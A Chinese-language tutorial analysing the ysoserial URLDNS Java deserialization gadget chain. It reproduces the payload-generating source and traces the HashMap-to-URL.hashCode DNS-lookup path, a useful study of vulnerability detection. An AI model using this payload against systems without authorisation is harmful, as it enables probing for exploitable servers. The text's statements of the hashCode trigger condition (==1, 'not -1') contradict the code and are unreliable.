URLDNS利用链分析
原理
HashMap在反序列化的时候会对传进来的对象进行hash计算获取hashCode,而URL类中的hashCode属性在特殊情况下(hashCode==1)的hashCode计算将触发dns查询
代码分析
ysoserial中的URLDNS.java
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
我们可以看到这里实例化了一个 HashMap 类,这是因为 HashMap 这个类重写了 readObject()
这个方法:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
******
******
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
******
******
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
readObject()
中调用了hash(key)
,继续跟进hash(key)
方法:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
hash(key)
方法中调用key.hashCode()
。
**这个时候就看哪个可以序列化的类中有 hashCode()
方法,且该方法调用了可利用的函数,利用链中给出了URL类 **
看回 URLDNS.java 这个文件,并且在入口处设置断点进行调试:
首先实例化了一个 SilentURLStreamHandler 类,目的是防止writeObject时URL实例导致的dns查询,这里最后才讲。
然后再实例化 HashMap 和 URL 的类,这是ht.put(u, url)
这里的url值就是我们传入的参数,后面重点跟入分析。
这里查看下 HashMap 类的put()
方法:
这里又调用了putVal()
函数,而这里的key就是我们上面的url对象,并且key还是作为hash()
方法的参数,继续跟入hash()
方法:
跟入到hash()
方法后,发现这里调用了key.hashCode()
,而这里的key就是 URL 类的实例化对象,继续跟入查看 URL 类的hashcode()
方法:
而这里当hashCode值不为-1时,就会调用 SilentURLStreamHandler 类的 hashCode()
方法,而我们知道,SilentURLStreamHandler 类是 URLStreamHandler 抽象类的子类,再查看其 Hashcode()
方法:
发现最终会调用 getHostAddress()
方法,该方法会发送DNS请求,于是整条利用链就大概清晰了。
整条链如下:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
最后看会一开始实例化了一个 SilentURLStreamHandler 类,目的是防止序列化调用 writeObject()
时URL实例导致的dns查询,实现的原理为:
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
通过子类重写了 URLStreamHandler 的 getHostAddress()
方法,使其调用时放回null。所以当handler.hashCode()
调用getHostAddress()
时实际调用的重写后的getHostAddress()
,返回了null,所以本机上并不会发送dns请求,又因为handler是transient类型,所以我们自己重写的handler并不会生效,在反序列化时实际调用的还是本来的 URLStreamHandler ,同样可规避本机dns请求与目标机dns请求的混淆。
总结
这条链的主要作用就是用于判断是否存在Java反序列化漏洞。因为没有jdk版本限制,并且只依赖原生类。